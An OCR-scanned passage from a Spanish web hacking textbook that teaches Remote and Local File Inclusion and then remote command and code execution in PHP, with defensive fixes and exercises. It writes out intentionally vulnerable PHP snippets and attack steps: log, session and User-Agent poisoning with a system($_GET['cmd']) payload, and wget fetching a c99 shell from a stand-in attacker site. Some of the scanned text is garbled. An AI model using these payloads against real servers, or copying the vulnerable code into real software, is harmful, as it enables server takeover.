RFI SE APROVECHA el cédigo que contiene esta funcion de manera que
DE FALLAS EN otros usuarios puedan modificar el archivo que se
; va a incluir. Asi, el atacante tendra la oportunidad
LA INCLUSION de subir cualquier archivo al servidor atacado (por
REMOTA DE ejemplo una PHP shell) y apoderarse de éste.
La técnica de Remote File Inclusion aprovecha
ARCHIVOS este tipo de fallos en funciones como include.

Si bien las inclusiones pueden ser locales o

remotas, comenzaremos estudiando estas
ultimas. Aprenderemos a subir una PHP shell al servidor web
explotando la vulnerabilidad de RFI.

Peligro a la vista

Debido a que PHP se ejecuta del lado del servidor, no podemos ver
desde nuestro navegador el codigo escrito en este lenguaje que posea
la pagina en cuestion, por lo cual sera un poco mas dificil detectar si la
aplicacion es vulnerable a RFI o no. Conocer las fallas de programacion
que aprovechan los atacantes para explotar esta técnica nos ayudara a
identificar las aplicaciones inseguras.

Para realizar practicas, crearemos un archivo llamado rfi.php, con el
siguiente codigo:

En lugar de usar una PHP reverse shell, podemos aprovechar la herramienta para subir archivos

que posea la ¢99/r57 y subir al servidor el NetCat. Después de darle permisos de ejecucion, le
pasamos los parametros necesarios para que se conecte a nuestra computadora, especificando la
direccidn IP y puerto a utilizar.
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<?php

if (isset($_GET['doc’])) {
$documento = $_GETI['doc’];
include ($documento);

}

7>

lemenage
& rahea

ESTO ES UN DOCUMENTO HTML EXTERNO

o0

Figura 14. Programamos un cadigo que nos permite incluir
un archivo remoto especificandolo a través de la URL.

Recordemos que GET indica que se le asignara el valor a la
variable a través de la URL. Supongamos que un sitio web posee,
en alguna parte de su codigo, las lineas escritas anteriormente: el
valor de la variable podria asignarse segun la accién que ejecute
el usuario sobre la aplicacién, por lo tanto no esta especificado con
anterioridad el archivo a incluir, de modo que el atacante tenga la
posibilidad de colocar el documento que quiera dentro del servidor.
Pero si no puede ver el codigo PHP de la aplicacion jcémo sabe si la
pagina es vulnerable a RFI?

Si se esta usando el método GET es mucho mas facil, ya que se puede
visualizar en la URL algo similar a lo siguiente: www.sitio.com/index.
php?doc=http://otrositio.com/doc.php. Esta direccion es muy
sospechosa, ya que evidentemente se esta incluyendo un documento
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externo al servidor web. Lo siguiente es testear la aplicacion pasandole
a la variable doc cualquier valor que no esté registrado en el sitio,
con el objetivo de ocasionar un error (por ejemplo, www.sitio.com/
index.php?doc=cualquiercosa). De este modo, puede que veamos
un mensaje similar al siguiente: Warning: include(cualquiercosa) [function.
include]: failed to open (...).

Si lo analizamos detenidamente, notaremos que se produce
un error en la funcion include, ya que no encontroé el archivo que
tenia que incluir pero si lo acepté como parametro valido. Con esto
acabamos de confirmar que la aplicacion es vulnerable a un ataque
de inclusion de archivos.

Figura 15. Producimos un error en la aplicacion con el objetivo
de confirmar si es vulnerable o0 no a un ataque de inclusion de archivos.

Finalmente, intentamos incluir un documento externo al sitio
vulnerable: www.sitio.com/index.php?doc=http://sitioataque.
com/archivo.php. Si podemos visualizarlo correctamente, hemos
logrado llevar a cabo un RFI, ya que incluimos en el servidor un archivo
diferente al que en realidad debia ser incluido.

Ahora bien, jqué sucede si se utiliza el método POST en lugar de
GET? Que no sea visible la inclusion de archivos en la URL no significa
que no se realice. Debemos utilizar algin complemento para Firefox
(como Tamper Data o Live HTTP Headers) para capturar y modificar el
contenido POST que se envia al servidor.
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Hemos aprendido a detectar un RFI conociendo el funcionamiento
de un cédigo vulnerable a este ataque, a partir de la modificacion
de los parametros de la funcién PHP, logrando asi incluir un archivo
diferente al que debia ser incluido. Incluyendo una PHP shell, podemos
apoderarnos facilmente del servidor.

Inclusion de una shell mediante RFI

Si el principal objetivo es obtener el control total del servidor web,
tenemos la posibilidad de explotar una vulnerabilidad de tipo RFl y
subir una PHP shell. Como la inclusion es remota, debemos hospedar
la shell en algin servidor bajo nuestro poder.

e

T T ——

€ & leabon -8

 LANewaATEYY J1.UN.JUUs

Figura 16. Cambiamos la extension de la PHP shell
con la intencion de que no se ejecute
como tal en el servidor bajo nuestro poder.

Muchas veces, pequefios atacantes de pocos conocimientos buscan en Google péaginas al azar que posi-

blemente sean vulnerables a RFI/LFI. Lo hacen mediante el uso de dorks, una combinacién de comodines
de busqueda y, por ejemplo, direcciones URL de posibles aplicaciones vulnerables. Una combinacién
simple podria ser: allinurl:index.php?page-=.
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Existe una cuestién a considerar: la extension del archivo
que vamos a incluir. Por ejemplo, la ¢99 es un script PHP: si la
subimos a nuestro servidor con la extension correspondiente se va a
ejecutar ahi mismo y, cuando realicemos la inclusién en la aplicacién
vulnerable, solo visualizaremos el c6digo HTML de la shell. Para que
esto no ocurra debemos subirla con una extension diferente, como
€99.txt, ¢99.jpg, etcétera.

Seria légico pensar que, si cambiamos la extension de la shell para
que simule ser un archivo de texto, al incluirla en la aplicacién web
vulnerable también la veremos de ese modo.

Pero esto no ocurre, ya que la funcion include interpreta como PHP
el documento que se le pase de parametro y, por lo tanto, la shell se
ejecuta correctamente en el servidor web que queramos controlar.

Para erradicar las dudas utilizaremos el archivo rfi.php, que hemos
programado anteriormente. El documento a incluir se asigna a la
variable doc a través de la barra de direcciones, ya que se utiliza el
método GET. Si incluimos en el servidor web que posee la aplicacién
vulnerable una PHP shell hospedada en un sitio bajo nuestro poder,
la direccion URL sera similar a: http://sitio.com/rfi.
php?doc=http://sitioataque.com/c99.txt. Podemos ver el
resultado en la Figura 17.

!C99Shell v. 1.0 beta (21.05.2005)!

Figura 17. Obtuvimos el control total
del servidor web al subir una PHP shell,
explotando una vulnerabilidad de tipo RFI.
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Lograr nuestro objetivo fue facil. Sin embargo, la técnica RFI
es poco explotada debido a que la inclusién remota de archivos
viene deshabilitada por defecto en el php.ini. En los siguientes
parrafos analizaremos en detalle la inclusién de archivos locales,
una practica mas frecuente.

Local File Inclusion

Al igual que en el RFI, en las inclusiones de archivos locales la falla
se produce si se le permite al atacante modificar el archivo que se va
a incluir. La diferencia radica en que, en este caso, no es posible subir
ningun archivo externo al servidor, volviendo mas complicado su
dominio mediante una PHP shell.

A continuacion programaremos el archivo Hi.php, que contendra un
co6digo vulnerable a esta técnica:

<?php

if (isset($_GET[‘pag’ D)
$pagina = $_GETI'pag'];
require($pagina);

}

7>

En lugar de include usamos require, otra funcion

PHP que permite realizar inclusiones de archivos. CON LOCAL FILE
Podemos comprobar que los cédigos vulnerables INCLUSION NO SE
a RFI y LFI son practicamente iguales, ya que el

hecho de que la aplicacién permita o no inclusiones PUEDEN SUBIR
remotas se debe, mas que nada, a las directivas ARCHIVOS EXTERNOS

habilitadas en los archivos de configuracion.
En este caso, supongamos que las inclusiones AL SERVIDOR
remotas no estan permitidas pero si las locales.
El codigo es vulnerable a LFI, por lo tanto
podemos ver el contenido de cualquier archivo del servidor web.
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Figura 18. Mediante una vulnerabilidad tipo LFI podemos ver
el contenido de diversos archivos interesantes alojados en el servidor.

El objetivo es lograr subir una PHP shell al servidor, pero como sélo
se permiten inclusiones locales, sera mas complicado que en el caso de
RFI. Aun asi, aprenderemos tres maneras diferentes de lograrlo.

Envenenamiento de logs

En los servidores Apache existe el archivo apache_error.log, un
documento de texto o log que almacena los errores que se producen
dentro del servidor. Anteriormente aprendimos a testear aplicaciones
posiblemente vulnerables, pasandole a la funcion include un parametro
de valor inexistente, con el objetivo de producir un error. Esta falla se
almacena en el log que corresponda, junto a la fecha, hora y direccion
IP del cliente que realizé la accion, entre otros datos.

- 14
@ EXPLOTAR UN LFI

Si bien nuestro objetivo es obtener el control total del servidor web, y lo podemos lograr subiendo una
PHP shell, podemos hacer mas aprovechandonos de esta vulnerabilidad. Existen numerosos archivos de
configuracion y del sistema que contienen datos muy interesantes para un atacante. En el Capitulo 8

aprenderemos a visualizarlos mediante la explotacion de un LFI.
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Figura 19. Los errores que se producen dentro de un servidor web Apache
se almacenan en el archivo de log apache_error.log.

El log de errores almacena textualmente el valor que le pasamos a la
funcion require (que, como vemos en la Figura 19, es: “cualquiercosa”).
Lo interesante es que, en lugar de esa palabra, podemos inyectar
dentro de este archivo un simple cédigo PHP que nos permita ejecutar

comandos en el servidor. La funcion system se encargara de hacerlo.
Aprovecharemos el LFI que hayamos encontrado en la aplicacién web
para generar un error, de la siguiente manera: www.sitio.com/index.
php?pag=<?php system($_GET[‘cmd’]) ?>. Asi, almacenamos en el log de
errores de Apache un pequeiio script PHP: <?php system($_GET[‘cmd’]) 7>,
que mediante la funcion system posibilitara la ejecucién de comandos
dentro del servidor web.

Después de inyectar el script PHP (acto que también se conoce como
envenenamiento de logs) tenemos que encontrar la ubicacién exacta

Se trata de una técnica que inyecta un pequefio script PHP dentro de uno de los archivos de logs.

El objetivo es poder ejecutar comandos en el servidor y asi descargar una PHP shell dentro de éste.
El apache_errorlog no es el dnico documento que almacena acciones de los usuarios. Existe también

el access.log que, si bien no guarda errores, permite encontrar la manera de realizar el envenenamiento.
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del apache_error.log, mediante el LFI que poseemos (en sistemas Linux,
la ubicacion de este archivo podria ser: /var/log, /var/log/apache, /usr/
local/apache/logs, /opt/xampp/apache/logs, etcétera). Una vez que lo
encontramos, ejecutamos los comandos: www.sitio.com/index.php?pag=../
logs/apache_error.log&cmd=ls.
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Figura 20. Ejecutamos comandos en el servidor “envenenando”
los logs de errores de Apache mediante un LFI.

Tal como observamos en la Figura 20, ejecutamos un comando que
nos muestra el listado de carpetas y archivos que se encuentran en la
ubicacién actual. En el caso de Linux ejecutamos Is y, en Windows, dir.

Lo ultimo por hacer es subir la PHP shell al servidor web, haciendo uso
de un comando como wget y descargandola alli mismo: www.sitio.com/index.
php?pag=../logs/apache_errorlog&cmd=‘wget http://sitioataque.com/c99.php’.

El envenenamiento de logs no es la Ginica via para obtener una PHP
shell en el servidor explotando un LFI. A continuacién, conoceremos
al menos otros dos modos de lograrlo.

Eco en include

Dentro del sistema de archivos proc que posee Linux, existe la
ruta /self/environ; si accedemos a través de nuestro navegador web
podremos ver los datos de la peticion HTTP realizada, tal como si
se tratara de un reflejo o eco.
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Dentro de las cabeceras HTTP que quedan almacenadas
temporalmente en este archivo, podemos visualizar la del User-Agent
que, como hemos aprendido en el Capitulo 3, contiene datos sobre
nuestro navegador web y sistema operativo, entre otros. La base de
esta técnica es inyectar en el archivo /proc/self/environ un script que se
encargue de descargar la PHP shell dentro del servidor web.

La cabecera User-Agent puede ser modificada facilmente, por ejemplo,
mediante el complemento para Firefox User-Agent Switcher (compatible
con la ultima version del navegador). Al igual que con cualquier otro
add-on, una vez instalado ingresamos al menu Edit User Agents y
presionamos New para crear uno nuevo.

En este caso, el inico campo que nos interesa es User Agent, y
reemplazamos su contenido por: <?php system(‘wget http://sitioataque.
com/c99.txt -0 shell.php’);?>. Se trata del script que descargara al
servidor la PHP shell ¢99 en modo texto, y luego la renombrara
como shell.php.

Figura 21. Editamos el agente de usuario para realizar
una inyeccion a /proc/sel f/environ.

Una vez guardado, seleccionamos el nuevo User Agent que hemos
creado como agente por defecto, desde el menu de herramientas de
Firefox. A continuacion debemos ingresar nuevamente a la ruta /proc/
self/environ, mediante el LFI que posea la aplicacién vulnerable (por
ejemplo, www.sitio.com/index.php?pag=../../proc/self/environ).
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De este modo, veremos nuestro nuevo agente de usuario inyectado
temporalmente en dicha ruta vy, al recargar por ultima vez la pagina,
se ejecutara el script que descarga en el servidor web la PHP shell.

Debemos saber que no siempre se puede acceder a este archivo
mediante una aplicacién vulnerable, ya que el acceso depende de
los permisos y configuraciones que posea el sistema sobre la ruta
[proc/self/environ. Si somos los administradores del servidor, es
importante que nos aseguremos de que no sea accesible a través
de un navegador web.

Sesion envenenada

Veamos ahora la ultima manera de obtener una PHP shell en el
servidor web explotando la vulnerabilidad de Local File Inclusion.
Esta vez seran envenenadas las sesiones de usuario.

Supongamos que la aplicacién web posee un cédigo PHP similar
al siguiente:

<?php
$usuario = $_GET[‘usuario’];
session_start();
session_register(“usuario”);
7>

Este simple codigo crea una sesion de usuario usando un valor
obtenido mediante GET, sin realizar ningiin tipo de verificacion. Por
lo tanto, le pasaremos a la variable el siguiente valor: <?php system($_
GET[‘cmd’]) ?>, quedando la direcciéon URL como: www.sitio.com/
index.php?usuario=<?php system($_GET[‘cmd’]) ?>.

Si, una vez ejecutado el codigo vulnerable, verificamos la cookie que
se nos ha asignado, veremos algo similar a lo siguiente: PHPSESSID=il7
joh3urdfp52nplicg9euhjl.

Nuestro nombre de usuario (que, en este caso, se trata
de: <?php system($_GET[‘cmd’]) ?>) queda guardado en el archivo
que almacena los datos de la sesi6én. Mediante esta técnica, lo
hemos envenenado con el script PHP que nos da la posibilidad de
ejecutar comandos.
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Figura 22. Desde las opciones de Firefox podemos
ver facilmente cual es la sesion que nos asigno el sitio.

El siguiente paso es utilizar el LFI que tenemos para ubicarnos en la
carpeta tmp, que contiene los archivos temporales (sesiones de usuario
y demas) y pasarle a la variable cmd el comando a ejecutar: www.sitio.
com/index.php?pag=../tmp/sess_ i17j6b3urdfp52nplicg9euhjl&cmd=ls. Al final
de la sesion le agregamos &emds=ls, para poder visualizar los archivos
que contiene el directorio actual.
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Figura 23. Logramos ejecutar comandos
en el servidor web a través de una sesion envenenada.
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Hasta aqui, hemos aprendido a detectar y explotar las
vulnerabilidades de Remote File Inclusion y Local File Inclusion,
apoderandonos por completo del servidor web mediante una PHP
shell o shell inversa. Pero, si nuestro papel es el de desarrolladores o
administradores de un sitio, debemos saber como evitar estas mismas
fallas de seguridad en la programacién de las paginas web.

Solucion al problema

A esta altura del capitulo, ha quedado bien claro el peligro que supone
el uso de funciones PHP como include y require, que permiten la inclusion de
archivos, sin tomar las respectivas medidas de seguridad. A continuacion
analizaremos una manera de impedir las inclusiones remotas y luego
aprenderemos a controlar o programar de modo seguro las inclusiones
locales, a fin de impedir ataques que aprovechen este tipo de fallas.

Deshabilitar la inclusion de archivos

Lo ideal, siempre, es evitar por completo el peligro. Si nuestro
sitio web no contiene ningun coédigo que realice inclusiones remotas,
deberiamos deshabilitar la posibilidad de incluir documentos externos
dentro del servidor web.

Para hacerlo, debemos abrir el archivo de configuraciéon php.ini
con cualquier editor de texto y buscar la directiva allow_url_include. Si se
permiten las inclusiones de archivos remotos, lo veremos indicado con
un simple On en esa misma directiva. Para deshabilitarlo, reemplazamos
el On por Off y luego guardamos el archivo y reiniciamos el servicio.

444

Se trata de poner un %00 al final de la direccién URL que explota un LFI, por ejemplo: www.sitio.

com/?pag=../proc/self/environ%00. Se utiliza para que el servidor pase por alto todo lo que viene
después del %00. Si el codigo vulnerable fuera similar a include($_GET[‘pag’]. “/config.php’), ignorara
config.php de modo que el LFI se realice con éxito.
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Figura 24. Para evitar el peligro que envuelven
las inclusiones de archivos remotos, deshabilitamos
la posibilidad de hacerlo desde el php.ini.

De esta manera estaremos seguros de que, aun si hubiera en
nuestro servidor una aplicacién web vulnerable a RFI, el atacante no
podra llevar a cabo las técnicas mencionadas, ya que la posibilidad de
incluir documentos externos estara deshabilitada. Al intentarlo se
observa un error similar al de la Figura 25.
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Figura 25. Al intentar llevar a cabo una inclusion remota veremos
que se genera un error, avisando que tal posibilidad esta deshabilitada.
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Filtrar variables

Siempre es conveniente no utilizar las funciones PHP que
permiten realizar inclusiones pero, en aquellos casos en que se
vuelve realmente necesario hacerlo, debemos aprender a controlar
los archivos que se van a incluir.

Lo importante en estos casos es impedir que el atacante pueda
modificar el documento que va a incluir, para lo cual debemos
programar un cédigo PHP que realiza una verificacién antes de llevar
a cabo la accién de inclusion:

<?php
$paginas = array(‘contacto.php’, ‘empresa.php’);
foreach ($paginas as $pagina)

if(isset($_GET['pag’)){

if ($_GET[‘pag’l== $pagina{
include $_GETI[‘pag’];

7>

Dentro del array (paginas) debemos escribir todos los documentos
que puedan ser incluidos. Luego, en la quinta linea del script, se realiza
la verificacion: si la variable GET (pag) coincide con alguno de los
valores del array, entonces se incluye el archivo correctamente. De lo
contrario, no se ejecutaran las acciones.

444

Quizas exista dentro del servidor web un archivo de log que almacene los accesos al FTP. Por lo tanto,
tenemos a la vista otro registro que podemos envenenar. Para hacerlo debemos intentar conectarnos al
FTP con el siguiente nombre de usuario: <?php system($_GET[‘cmd’]) ?>. Luego, mediante el LFI, busca-
mos la ubicacion del log para ejecutar los comandos.
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Figura 26. Existen muchas maneras de programar un filtro
en PHP que verifique si el archivo que se va a incluir es el correcto.

RESUMEN

195

Conocer las técnicas de Remote File Inclusion y Local File Inclusion resulta imprescindible para introducir-

nos en el ambito de la seguridad informatica referente a la plataforma web. En este capitulo aprendimos

en qué consisten las inclusiones de archivos locales y remotos, conocimos las PHP shells mas populares

y realizamos una shell inversa. Programamos codigos vulnerables a RFI/LFI para realizar précticas y

obtuvimos el control total del servidor web subiendo una shell a éste, explotando esta vulnerabilidad de

tres modos diferentes. Por (ltimo, desde el lado de la defensa de un servidor web, deshabilitamos las

inclusiones de archivos externos y programamos un codigo seguro para incluir documentos locales.
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Actividades

w

00 N O G A

TEST DE AUTOEVALUACION

;Qué significa el concepto inclusion de archivos?
;Qué utilidad tienen las inclusiones de archivos?

;Cudles son las funciones PHP que nos permiten incluir documentos internos y
externos en el servidor?

(Qué diferencias existen entre las inclusiones locales y las inclusiones remotas?
;Qué es una PHP shell y para qué sirve?

¢(Cuéles son las ventajas de obtener una shell inversa?

:Como podemos subir una PHP shell al servidor web explotando un RFI?

(Cudles son las tres formas diferentes de subir una PHP Shell al servidor explo-
tando un LFI?

:Como podemos deshabilitar las inclusiones de archivos remotos?

EJERCICIOS PRACTICOS

Programe un script vulnerable a RFI y LFI.
Investigue las herramientas de las PHP shells ¢99 y r57.

Ejecute una shell inversa en un servidor web y reciba la conexidn
en su computadora.

Envenene los logs de un servidor Apache mediante la técnica de LFI.

Cree un filtro en PHP para poder realizar inclusiones locales de forma segura.

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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de codigo

Sabemos lo peligroso que puede ser que un atacante

ejecute comandos de forma remota en nuestro servidor web.
Remote Command Execution aprovecha fallas de seguridad
en el uso de funciones PHP que permiten ejecutar comandos.
Por otro lado, Remote Code Execution aprovecha descuidos

en el uso de eval().
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Introduccion

System(), al igual que exec(), passthru() y otras funciones PHP, permite
ejecutar comandos sobre el sistema operativo que utilice el servidor.
En el capitulo anterior, acerca de la inclusiéon de archivos, luego de
realizar un envenenamiento de logs utilizamos la funcién system() para
descargar una shell dentro del servidor web. Asi, nos dimos cuenta del
peligro con el que debe lidiar el administrador de un sitio ante el hecho
de que un atacante utilice estas funciones en su aplicacion.

Remote Command Execution (RCE) o, en espafiol, Ejecuciéon Remota
de Comandos, hace referencia a la posibilidad de que un atacante logre
ejecutar comandos sobre el sistema operativo que tenga por objetivo.
Dentro del campo web, la vulnerabilidad de RCE apunta
al mal uso de las funciones PHP nombradas anteriormente. Al igual que
en el caso de include() y require(), si un programador no filtra bien los
datos que reciben como parametros dichas funciones, el atacante las va
a utilizar para otro fin, muy diferente al que realmente tienen.

Remote Command Execution

www.sitio.com/?cmd=ls system()

Hacker Aplicacion web
vulnerable

Figura 1. Una aplicacién web que utilice funciones como exec()
o system() puede terminar siendo victima de un ataque.

Remote Code Execution o, en espafiol, Ejecucién Remota de Cédigo,
es otra vulnerabilidad que analizaremos en este capitulo. La funcién
eval() de PHP evalda o interpreta una cadena de caracteres como codigo
de este lenguaje, es decir, ejecuta como coédigo PHP todo lo que se le
pase como parametro. No hay que imaginar demasiado para saber lo que
un atacante podria hacer si una aplicacién web utilizara esta funcién,
recibiendo como parametro datos asignados por el usuario.
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Remote Code Execution

www.sitio.com/?cod=phpinfo(); eval()

Hacker Aplicacion web
vulnerable

Figura 2. Eval () es una funcion que interpreta como codigo
PHP la cadena de caracteres que reciba como parametro.

Comprendiendo el funcionamiento de eval(),

seria totalmente valido pasarle como parametro SYSTEMI() PERMITE
un codigo similar a este: system(‘ls’);, que de hecho EJECUTAR
podria interpretarse como un ataque de ejecucion
remota de comandos. Pero la principal diferencia COMANDOS SOBRE EL
entre Remote Code Execution y Remote Command SISTEMA OPERATIVO
Execution radica en la aplicacién vulnerable.

En las proximas dos secciones del capitulo DEL SERVIDOR

analizaremos respectivamente cada vulnerabilidad

y las diferencias que hay entre ambas, a fin de

identificar correctamente los errores de programacion que permiten
explotar tales fallas.

Desde el lado del atacante, y con un poco de imaginacion,
lograremos obtener informaciéon sumamente interesante sobre el
servidor que estemos atacando y obtener su control total. Desde el lado
del programador, sera util analizar los filtros que pueden brindar una
falsa sensaciéon de seguridad y aprender cémo resolver el problema.

Las vulnerabilidades de tipo RCE no se limitan solo al lenguaje PHP. Funciones como las tratadas en este

capitulo también se encuentran en otras tecnologias web. Por otro lado, pueden encontrarse también
fallas en software de escritorio que permitan a un atacante ejecutar comandos en el sistema.
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Ejecucion remota
de comandos

Es lo que todo atacante quiere lograr sobre su objetivo: ejecutar
comandos de manera remota (sin tener acceso fisico a la maquina) y,
en lo posible, con privilegios de administrador.

Algunas aplicaciones o sitios web programados en lenguaje PHP
pueden utilizar, en alguna parte de su codigo, funciones que permiten
la ejecucion de comandos sobre el sistema que contiene el intérprete
de dicho lenguaje.

Funciones peligrosas

En realidad, la peligrosidad dependera de quién las use, como y con
qué fin. Si bien para la mayoria de los programadores las funciones PHP
que ejecutan comandos son s6lo mas cédigo tutil para sus aplicaciones,
no representan lo mismo para un Black Hat Hacker. Para ellos,
encontrarse con una aplicacién vulnerable a RCE puede ser lo mejor
que les suceda en el dia.

En cambio, para un administrador de seguridad, si es un verdadero
peligro que sus aplicaciones sean vulnerables a éste tipo de fallas.

Si somos profesionales de la seguridad encargados de proteger
determinadas aplicaciones web, el hecho de que utilicen funciones
como system() probablemente nos traiga graves problemas. En adelante
sabremos por qué.

A continuacién, analizaremos cuatro funciones PHP programadas
para la ejecucién de comandos en el sistema operativo. Las cuatro
ejecutan lo que se le pase como parametro, pero la diferencia radica

444

Active Server Pages (ASP) es un lenguaje de programacion para la creacion de sitios web, ejecutado

del lado del servidor (al igual que PHP) y desarrollado por Microsoft. Las aplicaciones ASP también pue-
den poseer vulnerabilidades, ya que son capaces de hacer evaluaciones de c6digo dindmicas, entre otras
acciones que pueden poner en riesgo al servidor si no se controlan adecuadamente.
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en la forma en que se le muestra al usuario la salida del comando,
es decir, en el resultado de la ejecucion.

==
B e e - s £
€ @i ] P4+ A B

@ Dbt & Contier 7 C5% [ Fovenw il imoger @) bnkomration [ Miscobanense 7 Outboe: * Rusier= ¥ Tostsr B Ym Seurce- [ Ot O
—

= Descripuion At 4 ey
| s2rng mystem [ strng seomwend [, it A8rvtors_var |}
systerm( ) o5 simin 8 ls versn C de s funcan de memo nombre, dsto que specuts o cosmand dado y musstrs o resulsdo

La Hamada a systems( ) tambein intenta vokar utomancamente el Difer ot sala el SErvicor web CesDuts de mda Anea de K308, 3 FHF €328 (OMHEndO COMO G MO0
de serwdor

S AACRSITA GJOCUtIr LD CONUNGO ¥ BCRIC B8 VLA 1000 K6 JA105 Gol MEmo Sin FEBrlervosas, uf B funcitn passTheul)
= Pardmetros Loyt a g
somando

€ comando que sed ejecutado

vy rarun Tty retarn_var

Figura 3. En la pagina oficial de PHP
(www.php.net) podemos encontrar mas informacion
sobre las funciones que trataremos en este capitulo.

System()

Para ser exactos sobre su funcionamiento, podemos consultar la
pagina www.php.net: “system() es similar a la version C de la funcion
del mismo nombre, ya que ejecuta el comando dado y muestra el
resultado”.

Programemos un script simple para realizar practicas:

<?php

$ejecutar = $_GET['cmd’];
system($ejecutar);

7>

Luego, le pasamos a la variable $ejecutar un comando a través
de la URL (por ejemplo, Is o dir, en caso de que se utilice el sistema
Windows). A continuacién, nos mostrara en pantalla el listado de
archivos y directorios de la posiciéon actual:
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Directorio de C:\wamp\www\WebsVulnerables 29/01/2013 02:18 a.m.
. 29/01/2013 02:18 a.m.

.. 22/07/2012 04:49 a.m.

1.133 BuscadorXSS.php 21/07/2012 04:29 a.m.

1.979 Formulario.php (...).

Figura 4. Salida en pantalla de la ejecucion
de un comando a través de la funcion PHP system().
Exec()

La funcion exec() de PHP también ejecuta el comando que se le pase
por parametro. Lo que diferencia a system() de exec() es que esta Gltima no
imprime en pantalla la salida del comando ejecutado. Cédigo de prueba:

<?php
exec($_POSTI['cmd’]);

7>

En este caso, el parametro se pasa por POST, lo que significa que
necesitaremos usar aplicaciones como el complemento Tamper Data
para lograr nuestro objetivo. Por otro lado, si queremos visualizar la
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salida del comando, debemos agregar una linea para imprimir
la ejecucién en pantalla, utilizando print o, en su defecto, echo.

Passthru()

La definicién para esta funcion, segun el sitio oficial de PHP es:
“La funcién passthru() es parecida a la funcién exec(), que ejecuta un
comando. Esta funcién deberia ser usada en lugar de exec() o system()
cuando la salida desde la linea de comandos de Unix sean datos
binarios, los cuales sea necesario pasar directamente al navegador”.

Codigo de prueba:

<?php

function cmd($comando){
passthru($comando);

}

$ejecutar = $_GET['cmd’];

cmd($ejecutar);

>

La funcion passthru() muestra la salida en pantalla, sin necesidad
de especificarlo.

B

+ iocatem a P B & N

Figura 5. Respuesta a la ejecucion de un
comando con la funcién PHP passthru().
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shell_exec()

Esta es otra funcién PHP para la ejecucion de comandos. Como
dijimos, la diferencia entre todas radica en el modo de mostrar al
programador el resultado de la ejecuciéon. Esta vez php.net aclara:
“shell_exec — Ejecutar un comando mediante el intérprete de comandos
y devolver la salida completa como una cadena”.

Codigo de prueba:

<?php

$salida = shell_exec($_GETI[‘cmd’]);
print $salida;

7>

En el caso de Shell_exec() también debemos agregar una linea usando
print o echo para ver la salida del comando en pantalla.

Una vez analizadas las funciones PHP que otorgan la posibilidad
de ejecutar comandos en el servidor, pudimos entender como
funcionan y en qué se diferencian. Antes de ingresar de lleno en
la explotacion de las vulnerabilidades tipo RCE, debemos aprender
otro aspecto importante sobre la ejecuciéon de comandos, muy util
cuando llevemos los ataques a la practica.

Uso de pipes

Las pipes o tuberias, representadas con el simbolo “|”, se utilizan
tanto en Windows como en Linux para redireccionar la salida de un
primer comando hacia la entrada del segundo. Para entenderlo mejor,
veamos un ejemplo.

El sitio oficial de PHP desaconseja por completo la utilizacion de las funciones tratadas en este ca-

pitulo. Al ingresar a la Ayuda de cada una de estas funciones, podremaos ver carteles que advierten
sobre los peligros que envuelve incluirlas en nuestro codigo. Gracias a ello la cantidad de sitios
vulnerables a RCE son cada vez mas escasos.
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Como sabemos, el comando Is en Linux muestra un listado con
los directorios y archivos de la posicién actual. Supongamos ahora
que queremos ordenar ese listado de alguna manera, mediante el
comando sort. Para hacerlo, deberiamos guardar la salida del comando
Is dentro de un archivo, para luego pasarselo como entrada a sort y que
muestre su contenido en el orden que le indiquemos. De esta manera,
minimamente requerimos ejecutar dos comandos por separado, pero
mediante el uso de pipes la tarea se simplifica, con una sola linea.

Figura 6. En primer lugar se ejecutan los dos comandos
por separado. Luego, simplificamos haciendo uso de una pipe (]).

Mencionamos este detalle porque las aplicaciones vulnerables a
RCE que encontramos en la web no son tan simples como <? system($_
GET[‘cmd’]); ?>. Cuando una aplicacién web utiliza estas funciones,
lo hace con el objetivo de realizar una tarea que tenga sentido,
complejizando el codigo vulnerable. Entender el uso de pipes nos
ayudara en la practica a explotar las aplicaciones vulnerables a RCE.

Ejecucion remota de codigo

En lugar de comandos, esta vez buscaremos ejecutar nuestro codigo
PHP sobre el servidor web que tengamos por objetivo. Esto nos permitira,
desde el lado del atacante, obtener el control total del servidor, como en
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el caso de Remote Command Execution. De hecho, poder ejecutar codigo
PHP nos da mas alternativas de ataque que solo ejecutar comandos, ya
que es posible, en definitiva, ejecutar cualquier funciéon PHP.

La vulnerabilidad Remote Code Execution se basa en los errores
de seguridad que pueden producirse al utilizar una funcién PHP
que permite, precisamente, la ejecucion de codigo de este lenguaje
dentro del servidor web. Si bien esta falla no es comun, debido a las
advertencias que se dan al respecto, es clave comprender cémo se
produce la vulnerabilidad para erradicarla de nuestras aplicaciones
y evitarla en futuros proyectos web.

Funcion eval()

Tal como mencionamos, la funcion eval() evalta o interpreta la cadena
de caracteres que reciba por parametro, como codigo del lenguaje PHP.
Su uso esta totalmente desaconsejado. Imaginemos qué sucederia si
utilizaramos esta funcion recibiendo parametros asignados por el usuario.
Dependiendo de sus intenciones, éste podria usar la aplicacion con fines
diferentes a los originales y apoderarse de nuestro servidor web.

Evaka o codigo cedo por cede como codigo PHP.

Precauciin

pidie wwal{) &5 My PeRGrISy portue pemie B eRoiasn de COdigo S M IITIEENC. St ieso estil lofalomente desaconsclado.
Si se ha verficado cuCadosamEnts Gue N0 EXSte U OCKN QUE LSIC EStE © sctor, S€ %3 de PONEr ESpocl ALENOON &N N0 PESIr MENGUNS
INFOFIICH Proporcionada por of WSS 3 £513 funcee N natera vakIMIo IErOpadaTents cOn BRENo Nt

= Pardmetros

code

Figura 7. Si entramos a la ayuda de eval () que proporciona
el sitio www.php.net encontraremos una advertencia sobre su uso.

Existen dos aspectos importantes a tener en cuenta para
utilizar eval() correctamente. Primero, el cédigo que le pasemos

» www.redusers.com



WEB HACKING =I5 207

como parametro a la funcién no debe encerrarse entre las etiquetas
de apertura (<?) y cierre (?>) de PHP. Segundo, siempre debe
incluirse el punto y coma (;) al final del cédigo a ejecutar. Por
ejemplo: echo “hackers”;.

A continuacion veremos un ejemplo sencillo del uso de eval():

<?php

$codigo_php = $_GETI[‘codigo’];
eval($codigo_php);

7>

Si bien podemos asignarle a la variable $codigo_php cualquier
funciéon que se nos ocurra de este lenguaje, haremos una ejecuciéon
simple para verificar el correcto funcionamiento del script. Para ello,
pasamos el parametro a través de la URL de la siguiente manera:
sitio.com/rce.php?codigo=echo “Hackers”;, y obtenemos una salida
similar a la de la Figura 8.

& B it ' D- 4 0

Figura 8. La funcion eval () interpreta como cédigo PHP
cualquier cadena de caracteres que se le indique como parametro.

Aprendimos como operan cada una de las funciones que involucran

las vulnerabilidades de Remote Code Execution y Remote Command
